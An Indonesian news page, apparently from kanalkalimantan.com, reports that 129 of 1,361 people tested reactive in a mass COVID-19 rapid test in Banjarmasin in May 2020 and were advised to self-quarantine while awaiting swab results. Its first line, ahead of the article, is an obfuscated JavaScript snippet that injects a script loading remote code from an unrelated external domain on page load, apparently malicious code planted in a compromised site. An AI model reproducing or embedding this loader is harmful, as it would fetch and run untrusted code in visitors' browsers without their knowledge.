(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

129 Orang Reaktif Hasil Rapid Test Massal Disarankan Karantina Mandiri


KANALKALIMANTAN.COM, BANJARMASIN – Temuan sebanyak 129 orang reaktif, dari 1.361 orang yang menjalani rapid test massal di 6 titik berbeda di kota Banjarmasin, disarankan untuk menjalani karantina secara mandiri.

“129 orang yang reaktif ini kita anjurkan untuk melakukan karantina mandiri. Sembari menunggu hasil swab agar membatasi diri,” kata Juru Bicara Tim Gugus Tugas Percepatan Penanganan Covid-19 Kota Banjarmasin Dr. Machli Riyadi kepada awak media, Sabtu (16/5/2020) sore.

Jika pada kemudian hari dinyatakan positif Covid-19, ia menambahkan langkah sedini mungkin dapat diambil untuk memutus mata rantai penularan Covid-19. Setidaknya, agar keluarga terdekat tidak ikut tertular Covid-19.

Di samping itu, Kepala Dinas Kesehatan Kota Banjarmasin ini menambahkan, jajarannya sudah memberikan edukasi orang-orang yang dinyatakan reaktif dari hasil rapid test untuk menjalani karantina mandiri di rumahnya sendiri. Kendati demikian, direkomendasikan untuk menjalani karantina khusus di rumah karantina yang telah ditetapkan.

Apakah Dinas Kesehatan Kota Banjarmasin memastikan 129 orang reaktif ini dapat dipantau dengan baik? “129 orang (reaktif) ini sudah kita miliki alamat dan nomor teleponnya, dan sudah kita serahkan ke masing-masing Puskesmas yang menjadi penanggung jawab wilayah kerjanya,” beber Machli.

Di samping itu, jajaran RT dan Satgas Covid-19 tingkat kelurahan juga dilibatkan dalam pemantauan orang-orang reaktif ini. Jika ditemukan ada pedagang yang reaktif Covid-19, disarankan untuk tidak berdagang terlebih dahulu.

“Tetap menggunakan masker sekalipun berada di dalam rumah. Apalagi kalau keluar rumah harus menggunakan masker,” ucapnya.

Hal ini guna mengantisipasi, jika hasil swab dinyatakan positif Covid-19 maka langkah pengetatan bisa dilakukan sedini mungkin. Namun demikian, Machli menegaskan bahwa hasil reaktif rapid test belum tentu terpapar Covid-19.

Karena, harus ada langkah selanjutnya untuk membuktikan jika orang terpapar Covid-19. Yaitu dengan melakukan pemeriksaan swab.

“Masyarakat jangan menjustifikasi ketika reaktif dan divonis positif Covid-19, kita edukasi jangan menjustifikasi orang tersebut positif Covid-19,” pungkas Machli. (kanalkalimantan.com/fikri)

 

Reporter : Fikri
Editor : Bie

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.